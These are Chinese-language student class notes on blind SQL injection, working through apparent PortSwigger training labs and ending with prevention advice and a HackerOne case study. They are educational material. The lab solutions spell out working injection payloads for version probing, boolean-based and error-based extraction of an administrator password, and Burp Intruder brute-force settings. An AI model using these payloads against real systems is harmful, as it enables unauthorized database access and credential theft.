# Blind SQL Injection [簡報]( https://slides.com/fallnight/blindsqli) ## 回憶 SQLi 課程 - 資料與資料庫之間的關係 - 使用者 -> 應用程式/查詢 -> DBMS 軟體 -> 資料庫 - 資料庫管理系統 (Database Management System, DBMS) > 資料庫 (database) > 資料表 (table) > 欄位 (column) > 資料 (row/record) - SQL 語法 - 想要得到 Peter 的帳號和密碼 - <font color="#f00">從</font> 資料表 <font color="#25E019">選取</font> <font color="#19D9E0">符合條件的</font> 欄位下的資料 <font color="#25E019">SELECT</font> account, password <font color="#f00">FROM</font> Users <font color="#19D9E0">WHERE</font> name='Peter' -> <font color="#f00">從</font> Users 資料表,<font color="#25E019">選取</font> <font color="#19D9E0">name 為 "Peter" 的</font> accout 和 password 資料 - SQL Injection - 常見類型 - Retrieving Hidden Data (檢索隱藏資料) - 檢索隱藏資料 - 取得原本看不到的網站資料 - Subverting Application Logic (影響應用程式邏輯) - 影響應用程式邏輯 - UNION Attack (UNION 攻擊) - UNION 攻擊 - 透過 UNION 語法,讓資料庫執行額外的 SELECT 查詢語句 - Examining The Database (檢查資料庫) - Blind SQL Injection (SQL 盲注入) ## 資料庫版本 ### Examining The Database - 不同的 **資料庫管理系統 (DBMS)** 在語法上會有差異 - 在攻擊前,可以先檢查網站所使用的 **DBMS** 為何,排除語法問題導致的錯誤 - 常見 **關聯式資料庫管理系統 (RDBMS)** 有 Oracle、Microsoft SQL Server、PostgreSQL、MySQL ### 不同資料庫管理系統,有不同的語法 - PortSwigger 官方有提供[速查表](https://portswigger.net/web-security/sql-injection/cheat-sheet) - 使用 -- 的註解方式時,最好在後方加個空格後再隨便加個符號,避免註解失敗 - ex. `--+` 或 `-- //` ### 印出版本資訊的語法 - 結合 UNION SELECT,讓網站印出自己的資料庫版本 - 看看該版本是否有已知的 CVE 漏洞可以利用 | DBMS | 查詢語法 | | ------------------ | ------------------------------ | | Oracle | `SELECT banner FROM v$version` | | Microsoft (MS SQL) | `SELECT @@version` | | PostgreSQL | `SELECT version()` | | MySQL | `SELECT @@version` | ### Lab 0x1 :::spoiler Solution 依題意:This lab contains a SQL injection vulnerability in the product category filter entry point 在 `filter?category` 測試網站回應 1. 如果 GET 參數什麼都沒有 -> http 200 2. 直接試試看 `SELECT @@version` 可不可以 - `' SELECT @@version` - `' AND SELECT @@version -- //` - `'|| SELECT @@version ||'` - 發現都不行,所以嘗試 UNION ATTACK 3. 做 UNION ATTACK 前置,到 `order by 3 -- // `http 500 -> 兩個欄位 4. 用 UNION SELECT 測試兩個欄位的屬性,發現 int 和 char 可以 5. 用 UNION SELECT 確定 version `' UNION SELECT NULL, @@version -- //` ::: ### Lab 0x2 :::spoiler Solution 依題意:This lab contains a SQL injection vulnerability in the product category filter entry point 在 `filter?category` 需注意:這是 Oracle -> FROM 後面的條件優先級高 1. 如果 GET 參數甚麼都沒有 - > http 200 2. 直接試試看 `SELECT banner FROM v$version` 或 `SELECT version FROM v$instance` 可不可以,包含 - `'SELECT 1 FROM dual -- //` - `'AND SELECT 1 FROM dual -- //` - `'|| SELECT 1 FROM dual ||'` - 發現都不行,所以嘗試 UNION ATTACK 3. 做UNION ATTACK 前置,到 `order by 3 -- // `http 500 -> 兩個欄位 4. 用 UNION SELECT 測試兩個欄位的屬性,發現 int 和 char 可以 `' UNION SELECT 'NISRA', 67 FROM dual` 5. 用 UNION SELECT 確定 version `' UNION SELECT NULL, banner FROM v$version -- //` ::: ## Blind SQLi - SQLi v.s. Blind SQLi - SQLi -> 資料庫會把資料整個印出來 - Blind SQLi -> 資料庫只會給反應,我們看不到資料內容,要去猜他查到的資料是什麼 - 分為兩個類型: - Boolean-based - True -> 網頁多出一行字(如:Welcome back!) - False -> 網頁少了一行字 - Time-based - True -> 網頁延遲一段時間 (ex. 5秒、10秒),才加載出來 - False -> 網頁照常,很快就加載完成 ### Lab 0x3 :::spoiler Burp Suite 自動找長度 - 在 HTTP history,選取根目錄的請求封包後對它按右鍵,選擇 "Send to Intruder" - 上方欄位選 Proxy 旁邊的 Intruder - 上方選單為 "Sniper attack" 模式 -> 代表只針對一個值做爆破測試 - 將判斷長度的 Payload 貼到 Cookie 的 TrackingId 後方 `' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>1--` - 反白選取原本需要手動替換、爆破測試的值 - 按上方 Position 的 Add§,確保要替換的值有被 § 前後包起來 - 右邊側邊欄開啟 Payloads,設定各項參數如圖: ![參數設定](https://hackmd.io/_uploads/SkdU08wRbe.png) ![](https://hackmd.io/_uploads/B1usgvv0-e.png) ::: :::spoiler Burp Suite 半自動找密碼 - 比暴力破解快 - 但需要手動調位數 (20 次) - Burp Suite 幫忙一個個測試 0\~9、a\~z ,找到即停止 - Payload 的判斷從 大於 改成 等於,直接問這位密碼是否是某個字元 --- **設定步驟:** - 修改 TrackingId 後方的 Payload (要保留原有的 TrackingId) - 選取 m,按左上角的 Add §,讓 Burp Suite 自動替換這裡的字元 - 右方側邊欄 Payloads - Payload type 選擇 Simple list - 複製 0\~9、a\~z 的清單 - 按 Paste 貼上 補充: - 不想手打 a\~z、0\~9 的清單? - Payload type 選擇 Brute forcer - 下方可以直接選 abc...xyz012...789 - Min/Max length 都選 1 - 生成長度為 1 的排列組合 = a\~z、0\~9 的每個字元 - 右方側邊欄改成 Settings (往下滑) - Auto-pause attack - 自動暫停攻擊 - 當回應出現指定字串,就暫停任務 - 不再發送後續的 Payload - 節省時間與資源 - Paste 貼上 "Welcome back" - 或用 Add 手打 - 右方側邊欄改成 Settings (再往下滑) - Grep - Match - 匹配標記 - 不會影響任務進行或暫停 - 會在結果清單新增設定的特徵詞欄位 - 若回應內容有匹配的特徵詞,就可以在結果清單看到,也可用排序功能 - 輔助結果分析 - 預設包含多個特徵詞,按 Clear 清除 - Paste 貼上 "Welcome back" - 或用 Add 手打 ::: :::spoiler Burp Suite 自動找密碼 - 全自動跑密碼,但耗時最久 - 真 • 暴力破解 - 總共會跑 20 位密碼 × 36 種可能 = 720 種要嘗試的排列組合 --- **設定步驟:** - Payload position 1 - 1 - Payload type 選 Numbers - 對應密碼的第1 ~ 20位 - Payload position 2 - a - Payload type 選 Simple list - Paste 貼上 0\~9、a\~z 的清單 ::: :::spoiler Python 腳本 自動找密碼 - 不用手動又更快破解的方法 - 剛剛在手動找密碼的過程是可以用程式自動化去跑的 - 其實就是 二分搜尋 (二分法) - 一種搜尋演算法 - 詢問是否大於某數,得到 True / False 兩種結果 -> 修改可能的範圍,直到範圍的上限下限相同,就找到了那位字元是什麼 - 讓程式用 二分法 找密碼 - 可能性有 0\~9 和 a\~z - ASCII: 最小 '0' → 48 、 最大 'z' → 122 - 初始範圍 48 ~ 122 -> 透過 True / False 的結果,不斷縮小範圍 - 程式在做二分法、改變範圍的邏輯: - 計算範圍的中間值 (48+122) / 2 = 85 - Payload 判斷這位密碼是否大於 85 - "是",網頁回應會出現 "Welcome back!" - 修改範圍的最小值,改成中間值 85 + 1,提高下限 - "否",網頁不會出現 "Welcome back!" - 修改範圍的最大值,改成目前的中間值 85,降低上限 --- - requests 模組 - 讓程式可以去連線網站、發送請求 - requests.get(url, cookies=cookies) - 對 lab 網址 (url) 發送請求,並將 cookies 設定為帶有 payload 的 cookies - try ... except ... - 嘗試 (try) requests 連線,如果失敗 (except) 就跳出迴圈並印出錯誤訊息 - response.text - 網頁回應的原始碼 - 直接找這裡有沒有 "Welcome back" 來判斷注入是否成功 ::: :::spoiler Solution 依題意: - entry point 在 cookie - 當後端 DBMS 回傳任何 query 的結果 -> 顯示 Welcome back - 有一個 table 叫做 users,下面有欄位叫做 username 和 password entry point: cookie 可以嘗試其他 SQLi 手法看能不能繞過 login page -> 發現不行,Welcome back 在 嘗試按照題目提示,發現 TrackingId 挺可疑 --- 1. 嘗試 TrackingId 不寫東西會不會有 Welcome back -> 沒有,TrackingId 的值要留 2. 測試 cookie 後面 `'-- //` 可不可以正常執行 -> 可以 假設後端邏輯是 SELECT OOO FROM XXX WHERE TrackingId = '裡頭要有東西' -> 顯示 Welcome back 3. 測試 `' AND (SELECT 1)=1 -- //` -> 有 Welcome back 假設成立 4. 測試 `' AND (SELECT 1 FROM users WHERE username='administrator')=1-- //` -> 有 Welcome back,這東西存在 5. 測試 `' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>1-- //` -> 有 Welcome back,payload 方向正確 6. 使用 intruder 發現 `username = 'administrator'` 的 password 長度是 20 7. 測試 `' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username='administrator')>'a'-- //` 或 `' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username='administrator')>'b'-- //` -> 有 Welcome back,payload 方向正確,使用 intruder 爆破 ::: ### 小結 - 找密碼的方法很多 - 手動慢慢輸,理解運作原理 - 使用工具 - Burp Suite - 不用自己寫程式,但不夠靈活,等待時間長 - 推薦在排列組合不多的情況下使用 - Python 腳本 - 可以使用各種搜尋演算法,大幅提升破解速度 - 會需要處理程式語法上的 bug 或者連線問題等,攻擊以外的問題 #### 攻擊流程 - 先找可以注入的地方 (entry point) - 列舉網站後端的 DBMS 版本,ex. Oracle、Microsoft SQL Server、PostgreSQL、MySQL - Fuzz attack:用腳本或工具,自動化測試字典檔的每個 Payload - 設定條件 - ex. `' AND '1'='1'--+`/`' AND '1'='2'--+` - 驗證 DBMS 回應條件 True / False 的方式 - 嘗試列舉 Database、table - 注入 Payload 查詢機密資料 - 找密碼 - LENGTH() 找密碼長度 - SUBSTRING() 將密碼拼出來 ### 觸發錯誤訊息 - 不論查詢成功與否都不會在網站上有任何顯示 - 透過強制讓後端觸發邏輯錯誤、產生錯誤訊息,來推斷資訊、提取資料 - 提取詳細錯誤資訊 -> Lab 0x4 - 觸發條件式錯誤 -> Lab 0x5 ### Lab 0x4 :::spoiler Solution 依題意: - 有一個 table 叫 users,下面有兩欄分別是 password 、 username,找 username 叫 administrator - 注入點在 tracking cookie - DBMS 不會回傳任何查詢結果在前端 entry point 在名叫 TrackingId 的 cookie 上 --- 1. 測試 `'` -> http 500,網站後端有錯誤正常 注意:後端的錯誤噴到前端上了,這不正常,目標就是讓網站報錯 2. 測試 `' -- //` -> http 200 經由上面的測試,可以假設後端邏輯是 SELECT OOO FROM XXX WHERE TrackingId = '裡頭要有東西' 3. 測試 `' AND (SELECT 1)=1 -- //` -> http 200 ,不是 oracle 4. 測試 `' AND (SELECT 1) -- //` -> http 500,語法沒問題但後端報錯 5. 利用報錯的訊息測試 `'AND (SELECT 1 FROM users) -- // -> http 500`,說有 AND 語法錯誤 -> users 這個 table 存在 註:因為 SQL 中 FROM OOO WHERE XXX 檢查語意的優先級較高,所以如果是不存在 users 的話 (如 `' AND (SELECT 1 FROM users67 -- //` ) 則應該先報錯說沒有這個 table 6. 利用這個原理,類似的還可以嘗試 fuzz attack 看他的 DBMS 是哪家,已知不是 oracle - `' AND (SELECT @@version) -- //` -> http 500,version column 不存在 - `' AND (SELECT version()) -- //` -> http 500,AND boolean 問題 -> 這是一個 postgreSQL 7. 確認 username = 'administrator' 存不存在,測試 `' AND (SELECT username FROM users WHERE username='administrator') -- //` -> http 500,報錯太長了,刪掉 cookie 內容再試一次,失敗,轉成另一種寫法 8. 因為是 postgreSQL 所以可以用 CAST 做轉換報錯,測試 `'AND CAST((SELECT username FROM users LIMIT 1) AS int)=1 -- //` -> http 500,確認 username 有 adminstrator (因為 adminstrator 是 a 剛好排序較前,這樣的 payload 可以在限制字數之內) 追求卓越:因為是 postgreSQL,所以可以有更簡潔的作法: `||(SELECT username FROM users LIMIT 1 OFFSET 0)::int||'` ,如果要查詢更多,可以更改 offset 的值 9. 測試 `||(SELECT password FROM users LIMIT 1 OFFSET 0)::int||` ::: ## 預防 SQLi - 使用參數化查詢 - 預處理語句 - 將 SQL 程式碼的結構與使用者輸入的資料徹底分離 - 建立白名單機制 - 規範那些內容是可以被接受 - 最小權限原則 - 只賦予連接資料庫的帳號執行任務時所需要的最小權限 - 不顯示錯誤訊息 - 針對 Blind SQL injection,可減少透露錯誤的原因,僅顯示「請重新再試一次」,避免駭客藉盲測收集情報 - 驗證與過濾使用者輸入 - 長度與格式校驗 - 限制字串的最大長度、使用正則表達式等機制,確保輸入內容符合預期格式 - 型別檢查 - 對於預期為數字的輸入,先驗證它確實是數字型別,或嘗試轉換型別後再使用 - 特殊字元過濾或轉義 - 過濾或轉義在 SQL 中具有特殊意義的字元 - ex. 單引號 ' 、雙引號 " 、分號 ; 、連接符號 -- 等 - 轉義 (Escape):在特殊字元前加上反斜線等標記,使其失去作為指令的功能而僅被視為普通符號 ## 案例分享 - https://hackerone.com/reports/2759243 - 2024年10月:美國國防部 (DoD) 系統出現「時間型」盲注漏洞 - 事件經過: - 在漏洞回報平台 HackerOne 上,一名白帽駭客通報了美國國防部旗下網站的一個參數(sortBy)存在 Time-based Blind SQLi - 造成危害: - 駭客在報告中示範,透過注入 WAITFOR DELAY 的時間延遲腳本,他能根據網頁伺服器晚了 5 秒或 10 秒才回應的現象,逐字猜出國防部資料庫的名稱、資料表以及內部紀錄 - 此報告隨後被美國國防部驗證並緊急修復,避免了可能的機密外洩問題 - https://www.nics.nat.gov.tw/core_business/information_security_information_sharing/cybersecuritynews/6ca68121-cfec-49f5-bb3c-df6f31b4fb05/ --- ###### tags: `ClassNotes` `NISRA` `114` `2026`